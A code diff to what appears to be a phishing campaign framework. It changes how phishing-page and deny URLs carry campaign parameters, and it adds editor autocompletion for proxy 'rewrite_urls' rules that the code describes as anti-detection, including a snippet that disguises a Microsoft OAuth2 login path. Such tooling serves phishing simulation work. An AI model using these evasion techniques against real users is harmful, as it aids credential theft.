@@ func (t *Template) CreatePhishingPageWithCampaign( } urlIdentifier := campaignTemplate.URLIdentifier.Name.MustGet() stateIdentifier := campaignTemplate.StateIdentifier.Name.MustGet() - url := fmt.Sprintf("%s?%s=%s&%s=%s", baseURL, urlIdentifier, id, stateIdentifier, stateParam) + + // construct URL with original path preserved + fullURL := baseURL + urlPath + + // parse existing query parameters to avoid duplicates + parsedURL, err := url.Parse(fullURL) + if err != nil { + return w, fmt.Errorf("failed to parse URL for parameter checking: %w", err) + } + + queryParams := parsedURL.Query() + + // only add campaign parameters if they don't already exist + if !queryParams.Has(urlIdentifier) { + queryParams.Set(urlIdentifier, id) + } + if !queryParams.Has(stateIdentifier) { + queryParams.Set(stateIdentifier, stateParam) + } + + parsedURL.RawQuery = queryParams.Encode() + finalURL := parsedURL.String() // create deny URL if campaign and deny page exist denyURL := "" @@ -314,7 +336,15 @@ func (t *Template) CreatePhishingPageWithCampaign( campaignID := campaign.ID.MustGet() denyStateParam, encErr := utils.Encrypt("deny", utils.UUIDToSecret(&campaignID)) if encErr == nil { - denyURL = fmt.Sprintf("%s?%s=%s&%s=%s", baseURL, urlIdentifier, id, stateIdentifier, denyStateParam) + // create deny URL with proper parameter handling + denyParsedURL, _ := url.Parse(fullURL) + denyQueryParams := denyParsedURL.Query() + if !denyQueryParams.Has(urlIdentifier) { + denyQueryParams.Set(urlIdentifier, id) + } + denyQueryParams.Set(stateIdentifier, denyStateParam) // always set deny state + denyParsedURL.RawQuery = denyQueryParams.Encode() + denyURL = denyParsedURL.String() } } } @@ -329,7 +359,7 @@ func (t *Template) CreatePhishingPageWithCampaign( data := t.newTemplateDataMapWithDenyURL( id, baseURL, - url, + finalURL, denyURL, recipient, "", // trackingPixelPath diff --git a/frontend/src/lib/utils/proxyYamlCompletion.js b/frontend/src/lib/utils/proxyYamlCompletion.js index 4d7962f..77ac008 100644 --- a/frontend/src/lib/utils/proxyYamlCompletion.js +++ b/frontend/src/lib/utils/proxyYamlCompletion.js @@ -112,6 +112,15 @@ export class ProxyYamlCompletionProvider { if (context === 'response') { return this.getNewResponseSuggestions(range); } + if (context === 'rewrite_urls') { + return this.getNewRewriteUrlsSuggestions(range); + } + if ( + context === 'query' && + this.findParentSection(linesAbove, currentIndent - 2) === 'rewrite_urls' + ) { + return this.getNewQueryMappingSuggestions(range); + } } // Handle field completions based on context @@ -134,6 +143,14 @@ export class ProxyYamlCompletionProvider { return this.getRewriteSuggestions(range); case 'response': return this.getResponseSuggestions(range); + case 'rewrite_urls': + return this.getRewriteUrlsSuggestions(range); + case 'query': + // Check if we're in a rewrite_urls context + if (this.findParentSection(linesAbove, currentIndent - 2) === 'rewrite_urls') { + return this.getQueryMappingSuggestions(range); + } + return []; default: return []; } @@ -167,9 +184,11 @@ export class ProxyYamlCompletionProvider { if (key === 'access') return 'access'; if (key === 'capture') return 'capture'; if (key === 'rewrite') return 'rewrite'; + if (key === 'rewrite_urls') return 'rewrite_urls'; if (key === 'response') return 'response'; if (key === 'on_deny') return 'on_deny'; if (key === 'paths') return 'paths'; + if (key === 'query') return 'query'; } } @@ -231,6 +250,13 @@ export class ProxyYamlCompletionProvider { insertText: 'response:', documentation: 'Global response rules', range + }, + { + label: 'rewrite_urls', + kind: this.monaco.languages.CompletionItemKind.Module, + insertText: 'rewrite_urls:', + documentation: 'Global URL rewrite rules for anti-detection', + range } ]; } @@ -271,6 +297,13 @@ export class ProxyYamlCompletionProvider { insertText: 'response:', documentation: 'Domain response rules', range + }, + { + label: 'rewrite_urls', + kind: this.monaco.languages.CompletionItemKind.Module, + insertText: 'rewrite_urls:', + documentation: 'Domain URL rewrite rules for anti-detection', + range } ]; } @@ -567,6 +600,97 @@ export class ProxyYamlCompletionProvider { ]; } + getRewriteUrlsSuggestions(range) { + return [ + { + label: 'find', + kind: this.monaco.languages.CompletionItemKind.Property, + insertText: 'find: "^/path/to/match$"', + documentation: 'Regex pattern to match URL path', + range + }, + { + label: 'replace', + kind: this.monaco.languages.CompletionItemKind.Property, + insertText: 'replace: "/new/path"', + documentation: 'Replacement path for matched URLs', + range + }, + { + label: 'query', + kind: this.monaco.languages.CompletionItemKind.Module, + insertText: 'query:', + documentation: 'Query parameter mappings', + range + }, + { + label: 'filter', + kind: this.monaco.languages.CompletionItemKind.Property, + insertText: 'filter: ["client_id", "state"]', + documentation: 'Query parameters to keep (if empty, keep all)', + range + } + ]; + } + + getNewRewriteUrlsSuggestions(range) { + return [ + { + label: 'url rewrite rule', + kind: this.monaco.languages.CompletionItemKind.Snippet, + insertText: + 'find: "/common/oauth2/v2\\.0/authorize"\n replace: "/signin"\n query:\n - find: "response_type"\n replace: "type"\n filter: ["client_id", "state"]', + documentation: 'New URL rewrite rule for anti-detection', + range + }, + { + label: 'simple path rewrite', + kind: this.monaco.languages.CompletionItemKind.Snippet, + insertText: 'find: "/original/path"\n replace: "/new/path"', + documentation: 'Simple path rewrite without query changes', + range + } + ]; + } + + getQueryMappingSuggestions(range) { + return [ + { + label: 'find', + kind: this.monaco.languages.CompletionItemKind.Property, + insertText: 'find: "client_id"', + documentation: 'Original query parameter name to find', + range + }, + { + label: 'replace', + kind: this.monaco.languages.CompletionItemKind.Property, + insertText: 'replace: "app_id"', + documentation: 'New query parameter name to replace with', + range + } + ]; + } + + getNewQueryMappingSuggestions(range) { + return [ + { + label: 'query mapping', + kind: this.monaco.languages.CompletionItemKind.Snippet, + insertText: 'find: "client_id"\n replace: "app_id"', + documentation: 'Map query parameter names for anti-detection', + range + }, + { + label: 'oauth parameter mapping', + kind: this.monaco.languages.CompletionItemKind.Snippet, + insertText: 'find: "response_type"\n replace: "type"', + documentation: 'Common OAuth parameter mapping', + range + } + ]; + } + getModeSuggestions(range) { return [ { @@ -824,7 +948,10 @@ export class ProxyYamlCompletionProvider { action: 'DOM action: setText, setHtml, setAttr, removeAttr, addClass, removeClass, remove', target: 'Target matching: "first", "last", "all" (default), "1,3,5" (specific), "2-4" (range)', - to: 'Target phishing domain for this original domain' + to: 'Target phishing domain for this original domain', + rewrite_urls: 'URL rewrite rules for anti-detection - changes paths and query parameters', + query: 'Query parameter mappings for URL rewriting', + filter: 'Query parameters to keep (if empty, keep all)' }; return hoverData[word] || null;